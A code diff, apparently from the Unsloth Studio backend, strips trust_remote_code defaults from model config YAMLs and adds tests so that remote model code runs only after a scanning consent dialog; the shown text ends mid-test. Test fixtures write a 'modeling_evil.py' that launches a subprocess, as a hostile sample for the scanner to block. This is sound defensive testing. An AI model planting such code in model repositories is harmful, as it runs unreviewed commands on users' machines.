-  trust_remote_code: true
   temperature: 0.7
   top_p: 0.8
   top_k: 20
diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml
index 39a2fe0a5b..b0feafbd6e 100644
--- a/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml
+++ b/studio/backend/assets/configs/model_defaults/other/unsloth_LFM2-1.2B.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth notebook
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -39,7 +38,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.3
   min_p: 0.15
 
diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml
index 663ce87d5f..2c44c91eab 100644
--- a/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml
+++ b/studio/backend/assets/configs/model_defaults/other/unsloth_Nemotron-3-Nano-30B-A3B.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: true
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -47,7 +46,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: true
   temperature: 1.0
   top_p: 1.0
 
diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml
index b7587bbd91..e1fbc08e4d 100644
--- a/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml
+++ b/studio/backend/assets/configs/model_defaults/other/unsloth_PaddleOCR-VL.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth notebook
 
 training:
-  trust_remote_code: true
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -49,7 +48,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: true
   temperature: 1.5
   min_p: 0.1
 
diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml
index cc5d130bfa..2abdfd8ac3 100644
--- a/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml
+++ b/studio/backend/assets/configs/model_defaults/other/unsloth_answerdotai_ModernBERT-large.yaml
@@ -2,7 +2,6 @@
 # Based on bert_classification.ipynb
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 1
   num_epochs: 0
@@ -41,6 +40,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml
index 883761675f..5a3c4abb48 100644
--- a/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml
+++ b/studio/backend/assets/configs/model_defaults/other/unsloth_orpheus-3b-0.1-ft.yaml
@@ -6,7 +6,6 @@
 audio_type: snac
 
 training:
-  trust_remote_code: false
   eval_steps: 0
   max_seq_length: 2048
   # num_epochs: 4
@@ -48,7 +47,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.6
   top_p: 0.95
 
diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml
index 35c850c71f..a6ce27620f 100644
--- a/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/other/unsloth_tinyllama-bnb-4bit.yaml
@@ -3,7 +3,6 @@
 # Also applies to: TinyLlama/TinyLlama-1.1B-intermediate-step-1431k-3T
 
 training:
-  trust_remote_code: false
   max_seq_length: 4096
   # num_epochs: 1
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml b/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml
index 9140878e0e..050774a8cd 100644
--- a/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml
+++ b/studio/backend/assets/configs/model_defaults/other/unsloth_whisper-large-v3.yaml
@@ -6,7 +6,6 @@ audio_type: whisper
 audio_input: true
 
 training:
-  trust_remote_code: false
   eval_steps: 5
   max_seq_length: 448
   # num_epochs: 4
@@ -41,6 +40,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml
index 1088df7796..c574714d78 100644
--- a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml
+++ b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3-medium-4k-instruct.yaml
@@ -3,7 +3,6 @@
 # Also applies to: "unsloth/Phi-3-medium-4k-instruct-bnb-4bit", "microsoft/Phi-3-medium-4k-instruct",
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml
index 79812a74c4..e803c842b3 100644
--- a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml
+++ b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-3.5-mini-instruct.yaml
@@ -3,7 +3,6 @@
 # Also applies to: "unsloth/Phi-3.5-mini-instruct-bnb-4bit", "microsoft/Phi-3.5-mini-instruct"
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml
index aaa4feac45..4de3d9437d 100644
--- a/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml
+++ b/studio/backend/assets/configs/model_defaults/phi/unsloth_Phi-4.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.8
   top_p: 0.95
 
diff --git a/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml b/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml
index fa7b9c4e8b..bb75b3ce52 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/imdatta0_tiny_qwen3_moe_2.8B_0.7B.yaml
@@ -4,7 +4,6 @@
 # MoE model - includes gate_up_proj for MoE layers
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -46,7 +45,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.6
   top_k: 20
   top_p: 0.95
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml
index 3e64a6ca48..c305d328c2 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-7B.yaml
@@ -3,7 +3,6 @@
 # Also applies to: unsloth/Qwen2-7B-bnb-4bit, Qwen/Qwen2-7B
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml
index 894751bed1..6cee3d0949 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2-VL-7B-Instruct.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth notebook
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -43,7 +42,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.5
   min_p: 0.1
 
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml
index 1d37cc9829..20ba81df2c 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-1.5B-Instruct.yaml
@@ -3,7 +3,6 @@
 # Also applies to: unsloth/Qwen2.5-1.5B-Instruct-unsloth-bnb-4bit, Qwen/Qwen2.5-1.5B-Instruct, unsloth/Qwen2.5-1.5B-Instruct-bnb-4bit
 
 training:
-  trust_remote_code: false
   max_seq_length: 4096
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml
index 99f3a66e23..9930786c24 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-7B.yaml
@@ -3,7 +3,6 @@
 # Also applies to: unsloth/Qwen2.5-7B-unsloth-bnb-4bit, Qwen/Qwen2.5-7B, unsloth/Qwen2.5-7B-bnb-4bit
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml
index c48b943cba..775c7ce08f 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-1.5B-Instruct.yaml
@@ -3,7 +3,6 @@
 # Also applies to: unsloth/Qwen2.5-Coder-1.5B-Instruct-bnb-4bit, Qwen/Qwen2.5-Coder-1.5B-Instruct
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml
index 830bfcf1cb..856db0c1b3 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-14B-Instruct.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth notebook
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.5
   min_p: 0.1
 
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml
index db88c3b033..5900392547 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-Coder-7B-Instruct-bnb-4bit.yaml
@@ -3,7 +3,6 @@
 # Also applies to: unsloth/Qwen2.5-Coder-7B-Instruct, Qwen/Qwen2.5-Coder-7B-Instruct
 
 training:
-  trust_remote_code: false
   max_seq_length: 32768
   # num_epochs: 4
   num_epochs: 0
@@ -42,6 +41,3 @@ logging:
   enable_tensorboard: false
   tensorboard_dir: "runs"
   log_frequency: 10
-
-inference:
-  trust_remote_code: false
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml
index cb9bcb104b..bd54b1d015 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen2.5-VL-7B-Instruct-bnb-4bit.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth notebook
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -43,7 +42,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 1.5
   min_p: 0.1
 
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml
index 13f066a27d..9feb6dcaae 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-0.6B.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from Ollama
 
 training:
-  trust_remote_code: false
   max_seq_length: 1024
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.6
   top_k: 20
   top_p: 0.95
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml
index 87c042705b..a40eace253 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B-Base-unsloth-bnb-4bit.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from Ollama
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.6
   top_k: 20
   top_p: 0.95
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml
index a8ecbb4365..c130771c32 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-14B.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from Ollama
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.6
   top_k: 20
   top_p: 0.95
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml
index 485dd7a111..2fb3a95c30 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-30B-A3B-Instruct-2507.yaml
@@ -4,7 +4,6 @@
 # MoE model - includes gate_up_proj for MoE layers
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -46,7 +45,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.6
   top_k: 20
   top_p: 0.95
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml
index 0de64d50ae..152f4ae06a 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-32B.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from Ollama
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.6
   top_k: 20
   top_p: 0.95
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml
index dc5940d58c..94fe000708 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Instruct-2507.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.7
   top_p: 0.80
   top_k: 20
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml
index 6392ee0ae9..3c325485d2 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-4B-Thinking-2507.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -45,7 +44,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.6
   top_p: 0.95
   top_k: 20
diff --git a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml
index ef52fad763..5b47c3bdd2 100644
--- a/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml
+++ b/studio/backend/assets/configs/model_defaults/qwen/unsloth_Qwen3-VL-8B-Instruct-unsloth-bnb-4bit.yaml
@@ -4,7 +4,6 @@
 # added inference parameters from unsloth guides
 
 training:
-  trust_remote_code: false
   max_seq_length: 2048
   # num_epochs: 4
   num_epochs: 0
@@ -43,7 +42,6 @@ logging:
   log_frequency: 10
 
 inference:
-  trust_remote_code: false
   temperature: 0.7
   top_p: 0.8
   top_k: 20
diff --git a/studio/backend/tests/test_consent_gate.py b/studio/backend/tests/test_consent_gate.py
index 67b44ede89..3237ffea8d 100644
--- a/studio/backend/tests/test_consent_gate.py
+++ b/studio/backend/tests/test_consent_gate.py
@@ -1224,9 +1224,9 @@ class TestScannerCoversAllExecutableCode:
             configs = consent._load_remote_code_configs("some/gated-repo")
         assert configs is None
 
-    def test_gguf_repo_auto_map_is_ignored(self):
-        # A GGUF repo with a vestigial auto_map loads via llama.cpp, which never runs it,
-        # so _config_has_auto_map must return False and skip the consent flow.
+    def test_gguf_repo_auto_map_is_scanned_for_non_file_load_paths(self, tmp_path):
+        # A GGUF-only repo id still hits export paths that run auto_map; only a direct
+        # .gguf file is inert.
         def _dl(
             repo_id = None,
             filename = None,
@@ -1234,10 +1234,8 @@ class TestScannerCoversAllExecutableCode:
             **kw,
         ):
             import json
-            import tempfile
-
             if filename == "config.json":
-                p = Path(tempfile.mkdtemp()) / "config.json"
+                p = tmp_path / "config.json"
                 p.write_text(
                     json.dumps({"auto_map": {"AutoModelForCausalLM": "modeling_decilm.X"}})
                 )
@@ -1251,7 +1249,79 @@ class TestScannerCoversAllExecutableCode:
                 return_value = ["config.json", "model-00001-of-00097.gguf"],
             ),
         ):
-            assert consent._config_has_auto_map("unsloth/Some-Model-GGUF") is False
+            assert consent._config_has_auto_map("unsloth/Some-Model-GGUF") is True
+
+    def test_gguf_only_repo_with_python_is_scanned_and_blocked(self, tmp_path):
+        # Regression: the GGUF-only short-circuit must not skip auto_map Python for export loaders.
+        def _dl(
+            repo_id = None,
+            filename = None,
+            token = None,
+            **kw,
+        ):
+            import json
+
+            p = tmp_path / filename
+            if filename == "config.json":
+                p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_evil.X"}}))
+                return str(p)
+            if filename == "modeling_evil.py":
+                p.write_text("import subprocess\nsubprocess.Popen(['id'])\n")
+                return str(p)
+            raise EntryNotFoundError(filename)
+
+        with (
+            patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+            patch(
+                "huggingface_hub.list_repo_files",
+                return_value = ["config.json", "modeling_evil.py", "model.Q4_K_M.gguf"],
+            ),
+        ):
+            d = evaluate_remote_code_consent_for_targets(
+                ["evil/GGUF-Only"],
+                trust_remote_code = True,
+            )
+
+        assert d.has_remote_code is True
+        assert d.blocked is True
+        assert d.max_severity == HIGH
+        assert d.fingerprint
+
+    def test_transformers_style_repo_auto_map_is_scanned_and_blocked(self, tmp_path):
+        # A non-GGUF repo (safetensors/MLX) with auto_map is still scanned and blocked.
+        def _dl(
+            repo_id = None,
+            filename = None,
+            token = None,
+            **kw,
+        ):
+            import json
+
+            p = tmp_path / filename
+            if filename == "config.json":
+                p.write_text(json.dumps({"auto_map": {"AutoModel": "modeling_evil.X"}}))
+                return str(p)
+            if filename == "modeling_evil.py":
+                p.write_text("import subprocess\nsubprocess.Popen(['id'])\n")
+                return str(p)
+            raise EntryNotFoundError(filename)
+
+        for weights in (["model.safetensors"], ["weights.npz"]):
+            with (
+                patch("huggingface_hub.hf_hub_download", side_effect = _dl),
+                patch(
+                    "huggingface_hub.list_repo_files",
+                    return_value = ["config.json", "modeling_evil.py", *weights],
+                ),
+            ):
+                d = evaluate_remote_code_consent_for_targets(
+                    ["org/Transformers-Style"],
+                    trust_remote_code = True,
+                )
+            assert d.has_remote_code is True, weights
+            assert d.blocked is True, weights
+            assert d.max_severity == HIGH, weights
+            assert d.fingerprint, weights
 
     def test_direct_gguf_file_reference_has_no_auto_map(self):
         # A direct .gguf file reference (repo id + filename, >=3 segments) is a GGUF load: no remote code, no Hub call.
diff --git a/studio/backend/tests/test_yaml_trust_remote_code_removed.py b/studio/backend/tests/test_yaml_trust_remote_code_removed.py
new file mode 100644
index 0000000000..9578f08420
--- /dev/null
+++ b/studio/backend/tests/test_yaml_trust_remote_code_removed.py
@@ -0,0 +1,163 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression: model-default YAMLs must not pre-set trust_remote_code.
+
+It is a per-load decision made through the consent dialog (which scans and pins the
+auto_map code), never a config default -- a YAML flag would re-open the no-review
+bypass. Models that run custom code ship auto_map, so the dialog still fires without it.
+"""
+
+from pathlib import Path
+
+import yaml
+
+_CONFIGS = Path(__file__).resolve().parent.parent / "assets" / "configs"
+_MODEL_DEFAULTS = _CONFIGS / "model_defaults"
+
+
+def test_no_model_default_yaml_sets_trust_remote_code():
+    offenders = []
+    for f in _MODEL_DEFAULTS.rglob("*.yaml"):
+        doc = yaml.safe_load(f.read_text()) or {}
+        if not isinstance(doc, dict):
+            continue
+        for section, body in doc.items():
+            if isinstance(body, dict) and "trust_remote_code" in body:
+                offenders.append(
+                    f"{f.relative_to(_CONFIGS)} [{section}={body['trust_remote_code']}]"
+                )
+    assert not offenders, (
+        "trust_remote_code must not be pre-set in model defaults; it is enabled only via "
+        f"the consent dialog. Remove it from: {offenders}"
+    )
+
+
+def test_no_model_default_yaml_has_empty_or_none_section():
+    # A bare `inference:` header (no keys) parses to None and crashes the .get() loaders.
+    offenders = []
+    for f in _MODEL_DEFAULTS.rglob("*.yaml"):
+        doc = yaml.safe_load(f.read_text())
+        if not isinstance(doc, dict):
+            offenders.append(f"{f.relative_to(_CONFIGS)} (not a mapping)")
+            continue
+        for section, body in doc.items():
+            if body is None or (isinstance(body, dict) and not body):
+                offenders.append(f"{f.relative_to(_CONFIGS)} [{section}]")
+    assert not offenders, (
+        "empty/None YAML section would crash the config loaders; drop the bare section "
+        f"header instead. Offending: {offenders}"
+    )
+
+
+def test_formerly_flagged_models_load_inference_config_without_crash():
+    # Models whose inference section was emptied by the TRC removal must still load.
+    from utils.inference import load_inference_config
+    for model in (
+        "tiiuae/Falcon-H1-0.5B-Instruct",
+        "unsloth/Llama-3.2-1B-Instruct",
+        "unsloth/Qwen2.5-7B",
+    ):
+        cfg = load_inference_config(model)
+        assert isinstance(cfg, dict)
+        assert cfg.get("trust_remote_code", False) is False
+
+
+def test_all_model_yamls_load_for_training_and_inference():
+    # Every YAML must load through both config paths (training + inference) as the routes do.
+    from utils.inference import load_inference_config
+    from utils.models.model_config import load_model_defaults
+
+    infer_keys = {
+        "temperature",
+        "top_p",
+        "top_k",
+        "min_p",
+        "presence_penalty",
+        "trust_remote_code",
+    }
+    failures = []
+    for f in sorted(_MODEL_DEFAULTS.rglob("*.yaml")):
+        stem = f.stem
+        try:
+            md = load_model_defaults(stem)
+            assert isinstance(md, dict), f"load_model_defaults -> {type(md).__name__}"
+            assert not [k for k, v in md.items() if v is None], "has a None section"
+            # the dict sections the loaders read via .get('sect', {}).get(...)
+            for sect in ("training", "inference", "lora", "logging"):
+                assert isinstance(md.get(sect, {}), dict), f"{sect!r} is not a mapping"
+            md.get("training", {}).get("trust_remote_code", False)  # routes/training.py:263
+            cfg = load_inference_config(stem)
+            assert infer_keys <= set(cfg), f"inference config missing {infer_keys - set(cfg)}"
+        except Exception as e:  # noqa: BLE001 - aggregate so one failure does not hide others
+            failures.append(f"{f.relative_to(_CONFIGS)}: {type(e).__name__}: {e}")
+    assert not failures, "YAML config loaders crashed on: " + "; ".join(failures)
+
+
+def test_base_templates_have_no_trust_remote_code():
+    for name in ("full_finetune.yaml", "lora_text.yaml", "vision_lora.yaml"):
+        doc = yaml.safe_load((_CONFIGS / name).read_text()) or {}
+        flat = yaml.safe_dump(doc)
+        assert "trust_remote_code" not in flat, f"{name} should not set trust_remote_code"
+
+
+def test_loader_defaults_trust_remote_code_off_for_formerly_flagged_models():
+    # The 4 models that used to ship trust_remote_code: true must now report no default.
+    from utils.models.model_config import load_model_defaults
+    for model in (
+        "unsloth/GLM-4.7-Flash",
+        "unsloth/Nemotron-3-Nano-30B-A3B",
+        "unsloth/PaddleOCR-VL",
+        "unsloth/ERNIE-4.5-VL-28B-A3B-PT",
+    ):
+        d = load_model_defaults(model)
+        for section in ("training", "inference"):
+            assert not (d.get(section) or {}).get(
+                "trust_remote_code", False
+            ), f"{model} [{section}] still carries a trust_remote_code default"
+
+
+def test_formerly_flagged_auto_map_models_still_require_consent_dialog():
+    # Crux: an auto_map model must STILL surface the dialog (driven by auto_map, not the
+    # YAML flag). Real backend path, mocking only the Hub json + .py fetch.
+    from unittest.mock import patch
+    from utils.security import consent, preflight_remote_code_consent_for_targets
+
+    auto_map_cfg = [
+        {
+            "auto_map": {
